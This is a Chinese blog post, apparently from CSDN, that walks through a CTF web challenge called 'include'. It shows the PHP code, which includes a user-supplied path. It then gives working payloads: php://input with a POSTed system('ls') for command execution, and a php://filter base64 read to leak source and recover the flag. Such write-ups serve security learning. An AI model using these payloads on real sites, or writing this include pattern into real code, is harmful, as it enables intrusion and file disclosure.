i春秋 CTF慢慢爬行之路（1）

原创

drejun 于 2018-05-23 14:48:49 发布 488 收藏
分类专栏： CTF

本文链接：https://blog.csdn.net/drejun/article/details/80419667


CTF 专栏收录该内容
2 篇文章 0 订阅
订阅专栏

“百度杯”CTF比赛 2017 二月场

类型：Web　　题目名称：include

```
<?php
show_source(__FILE__);
if(isset($_REQUEST['path'])){
        include($_REQUEST['path']);
}else{
        include('phpinfo.php');
}
```

刚进来只看到一个PHP页面和部分PHP代码，看看提示内容，文件包含漏洞。

不多说，用火狐hackbar直接构造：

？path=php://input

post内容：<?php echo system('ls');?>

会爆出具体有哪些文件。

再通过?path=php://filter/read=convert.base64-encode/resource=dle345aae.php

查看dle345aae.php文件中有些什么东西

得到一个字符串，由后面的“=”可以判断是Base64编码，通过Base64解码就能拿到flag